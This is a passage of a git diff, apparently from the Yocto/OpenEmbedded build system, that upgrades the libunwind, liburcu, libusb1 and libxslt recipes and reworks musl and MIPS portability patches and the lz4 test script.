musl
This helps in porting libunwind onto musl based systems
@@ -29,7 +30,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
3 files changed, 92 insertions(+), 79 deletions(-)
diff --git a/src/ppc32/Ginit.c b/src/ppc32/Ginit.c
-index ba30244..c5312d9 100644
+index 7b45455..f8d6886 100644
--- a/src/ppc32/Ginit.c
+++ b/src/ppc32/Ginit.c
@@ -48,12 +48,12 @@ uc_addr (ucontext_t *uc, int reg)
@@ -227,7 +228,7 @@ index c6ba806..b79f15c 100644
#endif
diff --git a/src/ptrace/_UPT_reg_offset.c b/src/ptrace/_UPT_reg_offset.c
-index c82d1c9..6c31baa 100644
+index b7dd3b7..bfaf756 100644
--- a/src/ptrace/_UPT_reg_offset.c
+++ b/src/ptrace/_UPT_reg_offset.c
@@ -27,6 +27,13 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
@@ -242,8 +243,5 @@ index c82d1c9..6c31baa 100644
+# undef pt_regs
+#endif
- #ifdef HAVE_ASM_PTRACE_OFFSETS_H
- # include <asm/ptrace_offsets.h>
---
-2.20.1
-
+ #ifdef HAVE_ASM_PTRACE_H
+ # include <asm/ptrace.h>
diff --git a/meta/recipes-support/libunwind/libunwind/0006-Fix-for-X32.patch b/meta/recipes-support/libunwind/libunwind/0006-Fix-for-X32.patch
deleted file mode 100644
index 37ae8124cc..0000000000
--- a/meta/recipes-support/libunwind/libunwind/0006-Fix-for-X32.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 7a4fd5933cc795df85cdd85168fe54fbaec4dcec Mon Sep 17 00:00:00 2001
-From: Christopher Larson <chris_larson@mentor.com>
-Date: Tue, 13 Dec 2016 09:50:34 -0700
-Subject: [PATCH 6/6] Fix for X32
-
-Apply patch to fix the X32 build from https://github.com/sjnewbury/x32.
-
-Upstream-Status: Pending
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
-
----
- src/x86_64/Gos-linux.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/x86_64/Gos-linux.c b/src/x86_64/Gos-linux.c
-index bd14234..be1cb5b 100644
---- a/src/x86_64/Gos-linux.c
-+++ b/src/x86_64/Gos-linux.c
-@@ -145,8 +145,8 @@ x86_64_sigreturn (unw_cursor_t *cursor)
-
- Debug (8, "resuming at ip=%llx via sigreturn(%p)\n",
- (unsigned long long) c->dwarf.ip, sc);
-- __asm__ __volatile__ ("mov %0, %%rsp;"
-- "mov %1, %%rax;"
-+ __asm__ __volatile__ ("mov %q0, %%rsp;"
-+ "mov %q1, %%rax;"
- "syscall"
- :: "r"(sc), "i"(SYS_rt_sigreturn)
- : "memory");
---
-2.20.1
-
diff --git a/meta/recipes-support/libunwind/libunwind/mips-byte-order.patch b/meta/recipes-support/libunwind/libunwind/mips-byte-order.patch
new file mode 100644
index 0000000000..8848780fd1
--- /dev/null
+++ b/meta/recipes-support/libunwind/libunwind/mips-byte-order.patch
@@ -0,0 +1,35 @@
+From dbbf8110ed3fd2cbac20a8ec2ac769e13c67bab1 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Tue, 16 Jan 2024 18:22:38 +0000
+Subject: [PATCH 2/2] byte order
+
+endian.h on musl/mips can't be included in __ASSEMBLER__ mode,
+so use the __BYTE_ORDER__ symbol instead.
+
+Upstream-Status: Pending
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ src/mips/getcontext.S | 3 +--
+ 1 file changed, 1 insertion(+), 2 deletions(-)
+
+diff --git a/src/mips/getcontext.S b/src/mips/getcontext.S
+index d1dbd579..de9b6818 100644
+--- a/src/mips/getcontext.S
++++ b/src/mips/getcontext.S
+@@ -24,12 +24,11 @@ OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
+
+ #include "offsets.h"
+-#include <endian.h>
+
+ .text
+
+ #if _MIPS_SIM == _ABIO32
+-# if __BYTE_ORDER == __BIG_ENDIAN
++# if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
+ # define OFFSET 4
+ # else
+ # define OFFSET 0
+--
+2.34.1
+
diff --git a/meta/recipes-support/libunwind/libunwind/mips-coredump-register.patch b/meta/recipes-support/libunwind/libunwind/mips-coredump-register.patch
new file mode 100644
index 0000000000..68adcd1d71
--- /dev/null
+++ b/meta/recipes-support/libunwind/libunwind/mips-coredump-register.patch
@@ -0,0 +1,100 @@
+From 7750e2a29b084ee033acc82abab410035e220d3f Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Tue, 16 Jan 2024 18:21:26 +0000
+Subject: [PATCH 1/2] coredump-mips-register
+
+glibc and musl have different names for the registers, add a
+macro that generates the names appropriately.
+
+Upstream-Status: Pending
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+---
+ src/coredump/_UCD_access_reg_linux.c | 69 ++++++++++++++++------------
+ 1 file changed, 39 insertions(+), 30 deletions(-)
+
+diff --git a/src/coredump/_UCD_access_reg_linux.c b/src/coredump/_UCD_access_reg_linux.c
+index 27eef123..beefdb47 100644
+--- a/src/coredump/_UCD_access_reg_linux.c
++++ b/src/coredump/_UCD_access_reg_linux.c
+@@ -67,38 +67,47 @@ _UCD_access_reg (unw_addr_space_t as,
+ goto badreg;
+ #else
+ #if defined(UNW_TARGET_MIPS)
++
++/* glibc and musl use different names */
++#ifdef __GLIBC__
++#define EF_REG(x) EF_REG ## x
++#else
++#include <sys/reg.h>
++#define EF_REG(x) EF_R ## x
++#endif
++
+ static const uint8_t remap_regs[] =
+ {
+- [UNW_MIPS_R0] = EF_REG0,
+- [UNW_MIPS_R1] = EF_REG1,
+- [UNW_MIPS_R2] = EF_REG2,
+- [UNW_MIPS_R3] = EF_REG3,
+- [UNW_MIPS_R4] = EF_REG4,
+- [UNW_MIPS_R5] = EF_REG5,
+- [UNW_MIPS_R6] = EF_REG6,
+- [UNW_MIPS_R7] = EF_REG7,
+- [UNW_MIPS_R8] = EF_REG8,
+- [UNW_MIPS_R9] = EF_REG9,
+- [UNW_MIPS_R10] = EF_REG10,
+- [UNW_MIPS_R11] = EF_REG11,
+- [UNW_MIPS_R12] = EF_REG12,
+- [UNW_MIPS_R13] = EF_REG13,
+- [UNW_MIPS_R14] = EF_REG14,
+- [UNW_MIPS_R15] = EF_REG15,
+- [UNW_MIPS_R16] = EF_REG16,
+- [UNW_MIPS_R17] = EF_REG17,
+- [UNW_MIPS_R18] = EF_REG18,
+- [UNW_MIPS_R19] = EF_REG19,
+- [UNW_MIPS_R20] = EF_REG20,
+- [UNW_MIPS_R21] = EF_REG21,
+- [UNW_MIPS_R22] = EF_REG22,
+- [UNW_MIPS_R23] = EF_REG23,
+- [UNW_MIPS_R24] = EF_REG24,
+- [UNW_MIPS_R25] = EF_REG25,
+- [UNW_MIPS_R28] = EF_REG28,
+- [UNW_MIPS_R29] = EF_REG29,
+- [UNW_MIPS_R30] = EF_REG30,
+- [UNW_MIPS_R31] = EF_REG31,
++ [UNW_MIPS_R0] = EF_REG(0),
++ [UNW_MIPS_R1] = EF_REG(1),
++ [UNW_MIPS_R2] = EF_REG(2),
++ [UNW_MIPS_R3] = EF_REG(3),
++ [UNW_MIPS_R4] = EF_REG(4),
++ [UNW_MIPS_R5] = EF_REG(5),
++ [UNW_MIPS_R6] = EF_REG(6),
++ [UNW_MIPS_R7] = EF_REG(7),
++ [UNW_MIPS_R8] = EF_REG(8),
++ [UNW_MIPS_R9] = EF_REG(9),
++ [UNW_MIPS_R10] = EF_REG(10),
++ [UNW_MIPS_R11] = EF_REG(11),
++ [UNW_MIPS_R12] = EF_REG(12),
++ [UNW_MIPS_R13] = EF_REG(13),
++ [UNW_MIPS_R14] = EF_REG(14),
++ [UNW_MIPS_R15] = EF_REG(15),
++ [UNW_MIPS_R16] = EF_REG(16),
++ [UNW_MIPS_R17] = EF_REG(17),
++ [UNW_MIPS_R18] = EF_REG(18),
++ [UNW_MIPS_R19] = EF_REG(19),
++ [UNW_MIPS_R20] = EF_REG(20),
++ [UNW_MIPS_R21] = EF_REG(21),
++ [UNW_MIPS_R22] = EF_REG(22),
++ [UNW_MIPS_R23] = EF_REG(23),
++ [UNW_MIPS_R24] = EF_REG(24),
++ [UNW_MIPS_R25] = EF_REG(25),
++ [UNW_MIPS_R28] = EF_REG(28),
++ [UNW_MIPS_R29] = EF_REG(29),
++ [UNW_MIPS_R30] = EF_REG(30),
++ [UNW_MIPS_R31] = EF_REG(31),
+ [UNW_MIPS_PC] = EF_CP0_EPC,
+ };
+ #elif defined(UNW_TARGET_X86)
+--
+2.34.1
+
diff --git a/meta/recipes-support/libunwind/libunwind/musl-header-conflict.patch b/meta/recipes-support/libunwind/libunwind/musl-header-conflict.patch
deleted file mode 100644
index 63b78a8a30..0000000000
--- a/meta/recipes-support/libunwind/libunwind/musl-header-conflict.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From 49b21f0fe5fb93b30b94cc449429fd33de0652a7 Mon Sep 17 00:00:00 2001
-From: Richard Purdie <richard.purdie@linuxfoundation.org>
-Date: Thu, 18 Aug 2016 14:46:32 +0100
-Subject: [PATCH] If you:
-
-TCLIBC=musl bitbake unwind
-TCLIBC=musl bitbake gcc-runtime -c cleansstate
-TCLIBC=musl bitbake gcc-runtime
-
-you will see libstdc++ fail to build due to finding libunwind's header file.
-
-Khem: "When we build any of gcc components they expect to use internal version
-and that works with glibc based gcc since the search headers first look into gcc
-headers, however with musl the gcc headers are searched after the standard
-headers ( which is by design the right thing )."
-
-This patch hacks around the issue by looking for a define used during gcc-runtime's
-build and skipping to the internal header in that case.
-
-[YOCTO #10129]
-
-RP 2016/8/18
-
-Upstream-Status: Inappropriate [really need to fix gcc]
-
----
- include/unwind.h | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/include/unwind.h b/include/unwind.h
-index 7cf128d..31c2871 100644
---- a/include/unwind.h
-+++ b/include/unwind.h
-@@ -23,6 +23,10 @@ LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
- OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
- WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
-
-+#ifdef _GLIBCXX_SHARED
-+#include_next <unwind.h>
-+#endif
-+
- #ifndef _UNWIND_H
- #define _UNWIND_H
-
diff --git a/meta/recipes-support/libunwind/libunwind/sigset_t.patch b/meta/recipes-support/libunwind/libunwind/sigset_t.patch
deleted file mode 100644
index 6baaa77db5..0000000000
--- a/meta/recipes-support/libunwind/libunwind/sigset_t.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 5df1555828add4e256cb4bba49fffffc22127c34 Mon Sep 17 00:00:00 2001
-From: Dave Watson <dade.watson@gmail.com>
-Date: Wed, 27 May 2020 08:21:04 -0700
-Subject: [PATCH] aarch64: Fix __sigset build issue on muslC
-
-Described in issue #176. Taken from Alpine Linux project.
-
-Change __sigset_t to sigset_t
-
-Upstream-Status: Backport [https://github.com/libunwind/libunwind/commit/5df1555828]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- include/libunwind-aarch64.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/include/libunwind-aarch64.h b/include/libunwind-aarch64.h
-index db01a9f69..d1bd8708f 100644
---- a/include/libunwind-aarch64.h
-+++ b/include/libunwind-aarch64.h
-@@ -202,7 +202,7 @@ typedef struct
- unsigned long uc_flags;
- struct ucontext *uc_link;
- stack_t uc_stack;
-- __sigset_t uc_sigmask;
-+ sigset_t uc_sigmask;
- struct unw_sigcontext uc_mcontext;
- } unw_tdep_context_t;
-
diff --git a/meta/recipes-support/libunwind/libunwind_1.4.0.bb b/meta/recipes-support/libunwind/libunwind_1.4.0.bb
deleted file mode 100644
index 2193bd8315..0000000000
--- a/meta/recipes-support/libunwind/libunwind_1.4.0.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-require libunwind.inc
-
-SRC_URI = "http://download.savannah.nongnu.org/releases/libunwind/libunwind-${PV}.tar.gz \
- file://0001-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch \
- file://0002-backtrace-Use-only-with-glibc-and-uclibc.patch \
- file://0003-x86-Stub-out-x86_local_resume.patch \
- file://0004-Fix-build-on-mips-musl.patch \
- file://0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch \
- file://0006-Fix-for-X32.patch \
- file://sigset_t.patch \
- file://0001-Fix-compilation-with-fno-common.patch \
- "
-SRC_URI_append_libc-musl = " file://musl-header-conflict.patch"
-
-SRC_URI[md5sum] = "5114504c74ac3992ac06aa551cd55678"
-SRC_URI[sha256sum] = "df59c931bd4d7ebfd83ee481c943edf015138089b8e50abed8d9c57ba9338435"
-
-EXTRA_OECONF_append_libc-musl = " --disable-documentation --disable-tests --enable-static"
-
-# http://errors.yoctoproject.org/Errors/Details/20487/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-
-LDFLAGS += "-Wl,-z,relro,-z,now ${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd ', '', d)}"
-
-SECURITY_LDFLAGS_append_libc-musl = " -lssp_nonshared"
diff --git a/meta/recipes-support/libunwind/libunwind_1.6.2.bb b/meta/recipes-support/libunwind/libunwind_1.6.2.bb
new file mode 100644
index 0000000000..3208785124
--- /dev/null
+++ b/meta/recipes-support/libunwind/libunwind_1.6.2.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Library for obtaining the call-chain of a program"
+DESCRIPTION = "a portable and efficient C programming interface (API) to determine the call-chain of a program"
+HOMEPAGE = "http://www.nongnu.org/libunwind"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=2d80c8ed4062b8339b715f90fa68cc9f"
+DEPENDS += "libatomic-ops"
+DEPENDS:append:libc-musl = " libucontext"
+
+SRC_URI = "http://download.savannah.nongnu.org/releases/libunwind/libunwind-${PV}.tar.gz \
+ file://mips-byte-order.patch \
+ file://mips-coredump-register.patch \
+ file://0005-ppc32-Consider-ucontext-mismatches-between-glibc-and.patch \
+ file://0001-src-Gtrace-remove-unguarded-print-calls.patch \
+ "
+
+SRC_URI[sha256sum] = "4a6aec666991fb45d0889c44aede8ad6eb108071c3554fcdff671f9c94794976"
+
+inherit autotools multilib_header
+
+COMPATIBLE_HOST:riscv32 = "null"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[lzma] = "--enable-minidebuginfo,--disable-minidebuginfo,xz"
+PACKAGECONFIG[zlib] = "--enable-zlibdebuginfo,--disable-zlibdebuginfo,zlib"
+PACKAGECONFIG[latexdocs] = "--enable-documentation, --disable-documentation, latex2man-native"
+
+EXTRA_OECONF = "--enable-static"
+
+# http://errors.yoctoproject.org/Errors/Details/20487/
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+
+LDFLAGS += "-Wl,-z,relro,-z,now ${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd ', '', d)}"
+
+SECURITY_LDFLAGS:append:libc-musl = " -lssp_nonshared"
+CACHED_CONFIGUREVARS:append:libc-musl = " LDFLAGS='${LDFLAGS} -lucontext'"
+
+do_install:append () {
+ oe_multilib_header libunwind.h
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/liburcu/liburcu_0.12.1.bb b/meta/recipes-support/liburcu/liburcu_0.12.1.bb
deleted file mode 100644
index 3a5ecbcc2d..0000000000
--- a/meta/recipes-support/liburcu/liburcu_0.12.1.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Userspace RCU (read-copy-update) library"
-HOMEPAGE = "http://lttng.org/urcu"
-BUGTRACKER = "http://lttng.org/project/issues"
-
-LICENSE = "LGPLv2.1+ & MIT-style"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=e548d28737289d75a8f1e01ba2fd7825 \
- file://include/urcu/urcu.h;beginline=4;endline=32;md5=4de0d68d3a997643715036d2209ae1d9 \
- file://include/urcu/uatomic/x86.h;beginline=4;endline=21;md5=58e50bbd8a2f073bb5500e6554af0d0b"
-
-SRC_URI = "http://lttng.org/files/urcu/userspace-rcu-${PV}.tar.bz2"
-
-SRC_URI[md5sum] = "5e419d7b30d0d98bffe0014c704ae936"
-SRC_URI[sha256sum] = "bbfaead0345642b97e0de90f889dfbab4b2643a6a5e5c6bb59cd0d26fc0bcd0e"
-
-S = "${WORKDIR}/userspace-rcu-${PV}"
-inherit autotools multilib_header
-
-CPPFLAGS_append_riscv64 = " -pthread -D_REENTRANT"
-
-do_install_append() {
- oe_multilib_header urcu/config.h
-}
diff --git a/meta/recipes-support/liburcu/liburcu_0.14.0.bb b/meta/recipes-support/liburcu/liburcu_0.14.0.bb
new file mode 100644
index 0000000000..f03c990632
--- /dev/null
+++ b/meta/recipes-support/liburcu/liburcu_0.14.0.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Userspace RCU (read-copy-update) library"
+DESCRIPTION = "A userspace RCU (read-copy-update) library. This data \
+synchronization library provides read-side access which scales linearly \
+with the number of cores. "
+HOMEPAGE = "http://lttng.org/urcu"
+BUGTRACKER = "http://lttng.org/project/issues"
+
+LICENSE = "LGPL-2.1-or-later & MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=e548d28737289d75a8f1e01ba2fd7825 \
+ file://include/urcu/urcu.h;beginline=4;endline=32;md5=4de0d68d3a997643715036d2209ae1d9 \
+ file://include/urcu/uatomic/x86.h;beginline=4;endline=21;md5=58e50bbd8a2f073bb5500e6554af0d0b"
+
+SRC_URI = "http://lttng.org/files/urcu/userspace-rcu-${PV}.tar.bz2"
+
+SRC_URI[sha256sum] = "ca43bf261d4d392cff20dfae440836603bf009fce24fdc9b2697d837a2239d4f"
+
+S = "${WORKDIR}/userspace-rcu-${PV}"
+inherit autotools multilib_header
+
+CPPFLAGS:append:riscv64 = " -pthread -D_REENTRANT"
+
+do_install:append() {
+ oe_multilib_header urcu/config.h
+}
diff --git a/meta/recipes-support/libusb/libusb1_1.0.23.bb b/meta/recipes-support/libusb/libusb1_1.0.23.bb
deleted file mode 100644
index 2fd658b4ef..0000000000
--- a/meta/recipes-support/libusb/libusb1_1.0.23.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Userspace library to access USB (version 1.0)"
-HOMEPAGE = "http://libusb.sf.net"
-BUGTRACKER = "http://www.libusb.org/report"
-SECTION = "libs"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fbc093901857fcd118f065f900982c24"
-
-BBCLASSEXTEND = "native nativesdk"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/libusb/libusb-${PV}.tar.bz2 \
- file://run-ptest \
- "
-
-SRC_URI[md5sum] = "be79ed4a4a440169deec8beaac6aae33"
-SRC_URI[sha256sum] = "4fc17b2ef3502757641bf8fe2c14ad86ec86302a2b785abcb0806fd03aa1201f"
-
-S = "${WORKDIR}/libusb-${PV}"
-
-inherit autotools pkgconfig ptest
-
-PACKAGECONFIG_class-target ??= "udev"
-PACKAGECONFIG[udev] = "--enable-udev,--disable-udev,udev"
-
-EXTRA_OECONF = "--libdir=${base_libdir}"
-
-do_install_append() {
- install -d ${D}${libdir}
- if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
- mv ${D}${base_libdir}/pkgconfig ${D}${libdir}
- fi
-}
-
-do_compile_ptest() {
- oe_runmake -C tests stress
-}
-
-do_install_ptest() {
- install -m 755 ${B}/tests/.libs/stress ${D}${PTEST_PATH}
-}
-
-FILES_${PN} += "${base_libdir}/*.so.*"
-
-FILES_${PN}-dev += "${base_libdir}/*.so ${base_libdir}/*.la"
diff --git a/meta/recipes-support/libusb/libusb1_1.0.27.bb b/meta/recipes-support/libusb/libusb1_1.0.27.bb
new file mode 100644
index 0000000000..f2431d75c8
--- /dev/null
+++ b/meta/recipes-support/libusb/libusb1_1.0.27.bb
@@ -0,0 +1,48 @@
+SUMMARY = "Userspace library to access USB (version 1.0)"
+DESCRIPTION = "A cross-platform library to access USB devices from Linux, \
+macOS, Windows, OpenBSD/NetBSD, Haiku and Solaris userspace."
+HOMEPAGE = "https://libusb.info"
+BUGTRACKER = "http://www.libusb.org/report"
+SECTION = "libs"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fbc093901857fcd118f065f900982c24"
+
+BBCLASSEXTEND = "native nativesdk"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/libusb-${PV}.tar.bz2 \
+ file://run-ptest \
+ "
+
+GITHUB_BASE_URI = "https://github.com/libusb/libusb/releases"
+UPSTREAM_CHECK_REGEX = "releases/tag/v?(?P<pver>\d+(\.\d+)+)$"
+
+SRC_URI[sha256sum] = "ffaa41d741a8a3bee244ac8e54a72ea05bf2879663c098c82fc5757853441575"
+
+S = "${WORKDIR}/libusb-${PV}"
+
+inherit autotools pkgconfig ptest github-releases
+
+PACKAGECONFIG:class-target ??= "udev"
+PACKAGECONFIG[udev] = "--enable-udev,--disable-udev,udev"
+
+EXTRA_OECONF = "--libdir=${base_libdir}"
+
+do_install:append() {
+ install -d ${D}${libdir}
+ if [ ! ${D}${libdir} -ef ${D}${base_libdir} ]; then
+ mv ${D}${base_libdir}/pkgconfig ${D}${libdir}
+ fi
+}
+
+do_compile_ptest() {
+ oe_runmake -C tests stress
+}
+
+do_install_ptest() {
+ install -m 755 ${B}/tests/stress ${D}${PTEST_PATH}
+}
+
+FILES:${PN} += "${base_libdir}/*.so.*"
+
+FILES:${PN}-dev += "${base_libdir}/*.so ${base_libdir}/*.la"
diff --git a/meta/recipes-support/libxslt/libxslt_1.1.34.bb b/meta/recipes-support/libxslt/libxslt_1.1.34.bb
deleted file mode 100644
index 1961bb5b31..0000000000
--- a/meta/recipes-support/libxslt/libxslt_1.1.34.bb
+++ /dev/null
@@ -1,53 +0,0 @@
-SUMMARY = "GNOME XSLT library"
-HOMEPAGE = "http://xmlsoft.org/XSLT/"
-BUGTRACKER = "https://bugzilla.gnome.org/"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://Copyright;md5=0cd9a07afbeb24026c9b03aecfeba458"
-
-SECTION = "libs"
-DEPENDS = "libxml2"
-
-SRC_URI = "http://xmlsoft.org/sources/libxslt-${PV}.tar.gz \
- "
-
-SRC_URI[md5sum] = "db8765c8d076f1b6caafd9f2542a304a"
-SRC_URI[sha256sum] = "98b1bd46d6792925ad2dfe9a87452ea2adebf69dcb9919ffd55bf926a7f93f7f"
-
-UPSTREAM_CHECK_REGEX = "libxslt-(?P<pver>\d+(\.\d+)+)\.tar"
-
-S = "${WORKDIR}/libxslt-${PV}"
-
-BINCONFIG = "${bindir}/xslt-config"
-
-inherit autotools pkgconfig binconfig-disabled lib_package multilib_header
-
-do_configure_prepend () {
- # We don't DEPEND on binutils for ansidecl.h so ensure we don't use the header.
- # This can be removed when upgrading to 1.1.34.
- sed -i -e 's/ansidecl.h//' ${S}/configure.ac
-
- # The timestamps in the 1.1.28 tarball are messed up causing this file to
- # appear out of date. Touch it so that we don't try to regenerate it.
- touch ${S}/doc/xsltproc.1
-}
-
-EXTRA_OECONF = "--without-python --without-debug --without-mem-debug --without-crypto --with-html-subdir=${BPN}"
-# older versions of this recipe had ${PN}-utils
-RPROVIDES_${PN}-bin += "${PN}-utils"
-RCONFLICTS_${PN}-bin += "${PN}-utils"
-RREPLACES_${PN}-bin += "${PN}-utils"
-
-# This is only needed until libxml can load the relocated catalog itself
-do_install_append_class-native () {
- create_wrapper ${D}/${bindir}/xsltproc XML_CATALOG_FILES=${sysconfdir}/xml/catalog
-}
-
-do_install_append () {
- oe_multilib_header libxslt/xsltconfig.h
-}
-
-FILES_${PN} += "${libdir}/libxslt-plugins"
-FILES_${PN}-dev += "${libdir}/xsltConf.sh"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libxslt/libxslt_1.1.39.bb b/meta/recipes-support/libxslt/libxslt_1.1.39.bb
new file mode 100644
index 0000000000..2cc0c84bec
--- /dev/null
+++ b/meta/recipes-support/libxslt/libxslt_1.1.39.bb
@@ -0,0 +1,58 @@
+SUMMARY = "GNOME XSLT library"
+DESCRIPTION = "libxslt is the XSLT C parser and toolkit developed for the Gnome project. \
+XSLT itself is a an XML language to define transformation for XML. Libxslt is based on \
+libxml2 the XML C library developed for the GNOME project. It also implements most of \
+the EXSLT set of processor-portable extensions functions and some of Saxon's evaluate \
+and expressions extensions."
+HOMEPAGE = "http://xmlsoft.org/XSLT/"
+BUGTRACKER = "https://bugzilla.gnome.org/"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://Copyright;md5=0cd9a07afbeb24026c9b03aecfeba458"
+
+SECTION = "libs"
+DEPENDS = "libxml2"
+
+SRC_URI = "https://download.gnome.org/sources/libxslt/1.1/libxslt-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "2a20ad621148339b0759c4d4e96719362dee64c9a096dbba625ba053846349f0"
+
+UPSTREAM_CHECK_REGEX = "libxslt-(?P<pver>\d+(\.\d+)+)\.tar"
+
+CVE_STATUS[CVE-2022-29824] = "not-applicable-config: Static linking to libxml2 is not enabled."
+
+S = "${WORKDIR}/libxslt-${PV}"
+
+BINCONFIG = "${bindir}/xslt-config"
+
+inherit autotools pkgconfig binconfig-disabled lib_package multilib_header
+
+do_configure:prepend () {
+ # We don't DEPEND on binutils for ansidecl.h so ensure we don't use the header.
+ # This can be removed when upgrading to 1.1.34.
+ sed -i -e 's/ansidecl.h//' ${S}/configure.ac
+
+ # The timestamps in the 1.1.28 tarball are messed up causing this file to
+ # appear out of date. Touch it so that we don't try to regenerate it.
+ touch ${S}/doc/xsltproc.1
+}
+
+EXTRA_OECONF = "--without-python --without-debug --without-mem-debug --without-crypto"
+# older versions of this recipe had ${PN}-utils
+RPROVIDES:${PN}-bin += "${PN}-utils"
+RCONFLICTS:${PN}-bin += "${PN}-utils"
+RREPLACES:${PN}-bin += "${PN}-utils"
+
+# This is only needed until libxml can load the relocated catalog itself
+do_install:append:class-native () {
+ create_wrapper ${D}/${bindir}/xsltproc XML_CATALOG_FILES=${sysconfdir}/xml/catalog
+}
+
+do_install:append () {
+ oe_multilib_header libxslt/xsltconfig.h
+}
+
+FILES:${PN} += "${libdir}/libxslt-plugins"
+FILES:${PN}-dev += "${libdir}/xsltConf.sh"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libyaml/libyaml_0.2.5.bb b/meta/recipes-support/libyaml/libyaml_0.2.5.bb
index e39a7b9083..4cb5717ece 100644
--- a/meta/recipes-support/libyaml/libyaml_0.2.5.bb
+++ b/meta/recipes-support/libyaml/libyaml_0.2.5.bb
@@ -15,4 +15,7 @@ S = "${WORKDIR}/yaml-${PV}"
inherit autotools
+DISABLE_STATIC:class-nativesdk = ""
+DISABLE_STATIC:class-native = ""
+
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/lz4/files/run-ptest b/meta/recipes-support/lz4/files/run-ptest
index d3bfc49f1c..f4a46a4f2c 100644
--- a/meta/recipes-support/lz4/files/run-ptest
+++ b/meta/recipes-support/lz4/files/run-ptest
@@ -1,43 +1,17 @@
#!/bin/sh
-cd testsuite
-echo -n "---- test-lz4 ----"
-make -C tests test-lz4 > /dev/null 2>&1
+# Define test work dir
+WORKDIR=@PTEST_PATH@/tests/
-if [ $? -eq 0 ]; then
- echo "PASS"
-else
- echo "FAIL"
-fi
-
-echo -n "---- test-fasttest ----"
-make -C tests test-fasttest > /dev/null 2>&1
-if [ $? -eq 0 ]; then
- echo "PASS"
-else
- echo "FAIL"
-fi
+# Run test
+cd ${WORKDIR}
-echo -n "---- test-frametest ----"
-make -C tests test-frametest > /dev/null 2>&1
-if [ $? -eq 0 ]; then
- echo "PASS"
+case_name="test_frame"
+./frametest
+ret=$?
+if [[ ${ret} == "0" ]]; then
+ echo "PASS: lz4/$case_name"
else
- echo "FAIL"
+ echo "FAIL: lz4/$case_name"
fi
-echo -n "---- test-fullbench ----"
-make -C tests test-fullbench > /dev/null 2>&1
-if [ $? -eq 0 ]; then
- echo "PASS"
-else
- echo "FAIL"
-fi
-
-echo -n "---- test-fuzzer ----"
-make -C tests test-fuzzer > /dev/null 2>&1
-if [ $? -eq 0 ]; then
- echo "PASS"
-else
- echo "FAIL"
-fi
diff --git a/meta/recipes-support/lz4/lz4_1.9.2.bb b/meta/recipes-support/lz4/lz4_1.9.2.bb
deleted file mode 100644
index 6510156ed0..0000000000
--- a/meta/recipes-support/lz4/lz4_1.9.2.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "Extremely Fast Compression algorithm"
-DESCRIPTION = "LZ4 is a very fast lossless compression algorithm, providing compression speed at 400 MB/s per core, scalable with multi-cores CPU. It also features an extremely fast decoder, with speed in multiple GB/s per core, typically reaching RAM speed limits on multi-core systems."
-
-LICENSE = "BSD | BSD-2-Clause | GPL-2.0"
-LIC_FILES_CHKSUM = "file://lib/LICENSE;md5=ebc2ea4814a64de7708f1571904b32cc \
- file://programs/COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://LICENSE;md5=d57c0d21cb917fb4e0af2454aa48b956 \
- "
-
-PE = "1"
-
-SRCREV = "fdf2ef5809ca875c454510610764d9125ef2ebbd"
-
-SRC_URI = "git://github.com/lz4/lz4.git \
